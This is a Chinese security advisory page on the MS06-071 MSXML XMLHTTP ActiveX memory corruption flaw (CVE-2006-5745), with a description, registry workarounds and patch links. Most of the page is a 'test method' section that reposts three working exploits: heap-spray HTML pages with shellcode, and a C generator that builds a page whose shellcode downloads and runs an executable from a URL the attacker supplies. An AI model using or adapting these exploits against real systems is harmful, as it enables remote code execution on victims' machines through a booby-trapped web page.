首页 -> 安全研究

安全研究

安全漏洞
Microsoft XML核心服务XMLHTTP控件内存破坏漏洞(MS06-071)

发布日期:2006-11-03
更新日期:2006-11-15

受影响系统:
Microsoft XML Core Services 6.0
Microsoft XML Core Services 4.0
描述:
BUGTRAQ  ID: 20915
CVE(CAN) ID: CVE-2006-5745

Microsoft XML核心服务(MSXML)允许使用JScript、VBScript和Microsoft Visual Studio 6.0的用户构建可与其他符合XML 1.0标准的应用程序相互操作的XML应用。

在Microsoft XML Core Services的XMLHTTP 4.0 ActiveX控件中,setRequestHeader()函数没有正确地处理HTTP请求,允许攻击者诱骗用户访问恶意的站点导致执行任意指令。攻击者可以通过构建特制网页来利用此漏洞,如果用户访问该网页或单击电子邮件中的链接,该漏洞就可能允许远程执行代码。成功利用此漏洞的攻击者可以完全控制受影响的系统。不过,要利用此漏洞,需要进行用户交互。

<*来源:Microsoft
  
  链接:http://secunia.com/advisories/22687/
        http://www.microsoft.com/technet/security/advisory/927892.mspx?pf=true
        http://marc.theaimsgroup.com/?l=full-disclosure&m=116268675301419&w=2
        http://www.microsoft.com/technet/security/bulletin/ms06-071.mspx
        http://www.us-cert.gov/cas/techalerts/TA06-318A.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus 2.0//EN">
<!--
MS Internet Explorer 6/7 (XML Core Services)  Remote Code Execution
Exploit

Author: n/a

Info:
http://blogs.securiteam.com/index.php/archives/721
http://isc.sans.org/diary.php?storyid=1823
http://xforce.iss.net/xforce/alerts/id/239

Found in the wild and was pointed out on securiteam's blog (cheers Gadi
Evron!)

Changed up the shellcode so it wouldn't be as evil for the viewers,
calc.exe is called.

/str0ke
-->

<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<object id=target classid="CLSID:{88d969c5-f192-11d4-a65f-0040963251e5}"
>
</object>
<script>
var obj = null;
function exploit() {
obj = document.getElementById('target').object;

try {
obj.open(new Array(),new Array(),new Array(),new Array(),new Array());
} catch(e) {};

sh = unescape ("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090"
+
    
"%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120"
+
    
"%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424"
+
    
"%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304"
+
    
"%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0"
+
    
"%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A"
+
    "%uFF57%u63E7%u6C61%u0063");

sz = sh.length * 2;
npsz = 0x400000-(sz+0x38);
nps = unescape ("%u0D0D%u0D0D");
while (nps.length*2<npsz) nps+=nps;
ihbc = (0x12000000-0x400000)/0x400000;
mm = new Array();
for (i=0;i<ihbc;i++) mm[i] = nps+sh;

obj.open(new Object(),new Object(),new Object(),new Object(), new
Object());    

obj.setRequestHeader(new Object(),'......');
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
}
</script>
<body onLoad='exploit()' value='Exploit'>

</body></html>


========================================================
/*
*-----------------------------------------------------------------------
*
* MS Internet Explorer 6/7 (XML Core Services)  Remote Code Execution Exploit
*    Works on  Windows XP versions including SP2 and 2K
*
* Author: M03
*
*    Credit: metasploit, jamikazu, yag kohna(for the shellcode), LukeHack (for the code),
*   Greetz: to PimpinOYeah Subbart n0limit MpR c0rrupt raze
*          :
* Tested   :
*          : Windows XP SP2 + Internet Explorer 6.0, XP SP1, 2KServer
*          :
*          :
*          :
*          :
*          :Usage: filename &lt;exe_URL&gt; [htmlfile]
*          :       filename.exe http://site.com/file.exe localhtml.htm      
*          
*------------------------------------------------------------------------
*/

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;

FILE *fp = NULL;
char *file = &quot;MicroHack.htm&quot;;
char *url = NULL;

unsigned char sc[] =    
&quot;\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03&quot;
&quot;\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74&quot;
&quot;\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E&quot;
&quot;\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03&quot;
&quot;\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C&quot;
&quot;\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40&quot;
&quot;\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C&quot;
&quot;\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC&quot;
&quot;\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F&quot;
&quot;\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB&quot;
&quot;\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83&quot;
&quot;\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF&quot;
&quot;\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF&quot;;

char * header =
&quot;&lt;html xmlns=\&quot;http://www.w3.org/1999/xhtml\&quot;&gt;\n&quot;
&quot;&lt;body&gt;\n&quot;
&quot;&lt;object id=target classid=\&quot;CLSID:{88d969c5-f192-11d4-a65f-0040963251e5}\&quot; &gt;\n&quot;
&quot;&lt;/object&gt;\n&quot;
&quot;&lt;script&gt;\n&quot;
&quot;var obj = null;\n&quot;
&quot;function exploit() {\n&quot;
&quot;obj = document.getElementById(&#039;target&#039;).object;\n&quot;

&quot;try {\n&quot;
&quot;obj.open(new Array(),new Array(),new Array(),new Array(),new Array());\n&quot;
&quot;} catch(e) {};\n&quot;

&quot;sh = unescape (\&quot;%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090\&quot; +\n&quot;
&quot; &quot;;

char * footer =
&quot;\n&quot;
&quot;sz = sh.length * 2;\n&quot;
&quot;npsz = 0x400000-(sz+0x38);\n&quot;
&quot;nps = unescape (\&quot;%u0D0D%u0D0D\&quot;);\n&quot;
&quot;while (nps.length*2&lt;npsz) nps+=nps;\n&quot;
&quot;ihbc = (0x12000000-0x400000)/0x400000;\n&quot;
&quot;mm = new Array();\n&quot;
&quot;for (i=0;i&lt;ihbc;i++) mm[i] = nps+sh;\n&quot;
&quot;\n&quot;
&quot;obj.open(new Object(),new Object(),new Object(),new Object(), new Object());\n&quot;    
&quot;\n&quot;
&quot;obj.setRequestHeader(new Object(),&#039;......&#039;);\n&quot;
&quot;obj.setRequestHeader(new Object(),0x12345678);\n&quot;
&quot;obj.setRequestHeader(new Object(),0x12345678);\n&quot;
&quot;obj.setRequestHeader(new Object(),0x12345678);\n&quot;
&quot;obj.setRequestHeader(new Object(),0x12345678);\n&quot;
&quot;obj.setRequestHeader(new Object(),0x12345678);\n&quot;
&quot;obj.setRequestHeader(new Object(),0x12345678);\n&quot;
&quot;obj.setRequestHeader(new Object(),0x12345678);\n&quot;
&quot;obj.setRequestHeader(new Object(),0x12345678);\n&quot;
&quot;obj.setRequestHeader(new Object(),0x12345678);\n&quot;
&quot;obj.setRequestHeader(new Object(),0x12345678);\n&quot;
&quot;obj.setRequestHeader(new Object(),0x12345678);\n&quot;
&quot;}\n&quot;
&quot;&lt;/script&gt;\n&quot;
&quot;&lt;body onLoad=&#039;exploit()&#039; value=&#039;Exploit&#039;&gt;\n&quot;
&quot;\n&quot;
&quot;&lt;/body&gt;&lt;/html&gt;\n&quot;
&quot;\n&quot;;

// print unicode shellcode
void PrintPayLoad(char *lpBuff, int buffsize)
{
   int i;
   for(i=0;i&lt;buffsize;i+=2)
   {
       if((i%16)==0)
       {
           if(i!=0)
           {
               printf(&quot;\&quot;\n\&quot;&quot;);
               fprintf(fp, &quot;%s&quot;, &quot;\&quot; +\n\&quot;&quot;);
           }
           else
           {
               printf(&quot;\&quot;&quot;);
               fprintf(fp, &quot;%s&quot;, &quot;\&quot;&quot;);
           }
       }
          
       printf(&quot;%%u%0.4x&quot;,((unsigned short*)lpBuff)[i/2]);
      
       fprintf(fp, &quot;%%u%0.4x&quot;,((unsigned short*)lpBuff)[i/2]);
     }
    

       printf(&quot;\&quot;;\n&quot;);
       fprintf(fp, &quot;%s&quot;, &quot;\&quot;);\n&quot;);          
  
  
   fflush(fp);
}

void main(int argc, char **argv)
{
   unsigned char buf[1024] = {0};

   int sc_len = 0;


   if (argc &lt; 2)
   {
      printf(&quot;MS Internet Explorer 6/7 (XML Core Services)  Remote Code Execution Exploit (0day)\n&quot;);
      printf(&quot;Code modded from LukeHack\n&quot;);
      printf(&quot;\r\nUsage: %s &lt;URL&gt; [Local htmlfile]\r\n\n&quot;, argv[0]);
      exit(1);
   }
  
   url = argv[1];
  

    if( (!strstr(url, &quot;http://&quot;) &amp;&amp;  !strstr(url, &quot;ftp://&quot;)) || strlen(url) &lt; 10)
    {
        printf(&quot;[-] Invalid url. Must start with &#039;http://&#039;,&#039;ftp://&#039;\n&quot;);
        return;                
    }

      printf(&quot;[+] download url:%s\n&quot;, url);
      
      if(argc &gt;=3) file = argv[2];
      printf(&quot;[+] exploit file:%s\n&quot;, file);
      
   fp = fopen(file, &quot;w&quot;);
   if(!fp)
   {
       printf(&quot;[-] Open file error!\n&quot;);
          return;
   }    
  
   fprintf(fp, &quot;%s&quot;, header);
   fflush(fp);
  
   memset(buf, 0, sizeof(buf));
   sc_len = sizeof(sc)-1;
   memcpy(buf, sc, sc_len);
   memcpy(buf+sc_len, url, strlen(url));
  
   sc_len += strlen(url)+1;
   PrintPayLoad(buf, sc_len);

   fprintf(fp, &quot;%s&quot;, footer);
   fflush(fp);  
  
   printf(&quot;[+] exploit write to %s success!\n&quot;, file);
}

// Reverse Microsoft IE 9/11 Exploit

// milw0rm.com [2006-11-10]


=================================================================
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
&lt;body&gt;
&lt;script&gt;
    var heapSprayToAddress = 0x05050505;

    var payLoadCode = unescape(&quot;%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063&quot;);
&lt;/script&gt;
&lt;script&gt;
    var heapBlockSize = 0x400000;

    var payLoadSize = payLoadCode.length * 2;

    var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

    var spraySlide = unescape(&quot;%u9090%u9090&quot;);
    spraySlide = getSpraySlide(spraySlide,spraySlideSize);

    heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;

    memory = new Array();

    for (i=0;i&lt;heapBlocks;i++)
    {
        memory[i] = spraySlide + payLoadCode;
    }



    function getSpraySlide(spraySlide, spraySlideSize)
    {
        while (spraySlide.length*2&lt;spraySlideSize)
        {
            spraySlide += spraySlide;
        }
        spraySlide = spraySlide.substring(0,spraySlideSize/2);
        return spraySlide;
    }

&lt;/script&gt;
&lt;object id=target classid=&quot;CLSID:88d969c5-f192-11d4-a65f-0040963251e5&quot; &gt;
&lt;/object&gt;
&lt;script&gt;
var obj = null;

obj = document.getElementById(&#039;target&#039;).object;

try {
obj.open(new Array(),new Array(),new Array(),new Array(),new Array());
} catch(e) {};

obj.open(new Object(),new Object(),new Object(),new Object(), new Object());    

obj.setRequestHeader(new Object(),&#039;......&#039;);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);

&lt;/script&gt;


&lt;/body&gt;&lt;/html&gt;

# milw0rm.com [2006-11-10]

建议:
临时解决方法:

* 禁止在Internet Explorer中运行XMLHTTP 4.0 ActiveX控件。将以下内容粘贴到文本编辑器,然后使用.reg文件名扩展保存:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{88d969c5-f192-11d4-a65f-0040963251e5}]
"Compatibility Flags"=dword:00000400

双击这个.reg文件应用到系统。

* 配置Internet Explorer在运行活动脚本之前要求提示,或在Internet和本地intranet区中禁用活动脚本。
* 将Internet和本地intranet安全区设置为“高”。
* 拒绝对注册表中Microsoft XML Core Services 4.0 ({88D969C5-F192-11D4-A65F-0040963251E5})和Microsoft XML Core Services 6.0 ({88D96A0A-F192-11D4-A65F-0040963251E5})的受影响的CLSID进行访问。

厂商补丁:

Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS06-071)以及相应补丁:
MS06-071:Vulnerability in Microsoft XML Core Services Could Allow Remote Code Execution (928088)
链接:http://www.microsoft.com/technet/security/bulletin/ms06-071.mspx

补丁下载:
http://www.microsoft.com/downloads/details.aspx?FamilyId=24B7D141-6CDF-4FC4-A91B-6F18FE6921D4
http://www.microsoft.com/downloads/details.aspx?FamilyId=9AE7F4E9-8228-4098-AF71-49C35684C17E

浏览次数:6724
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障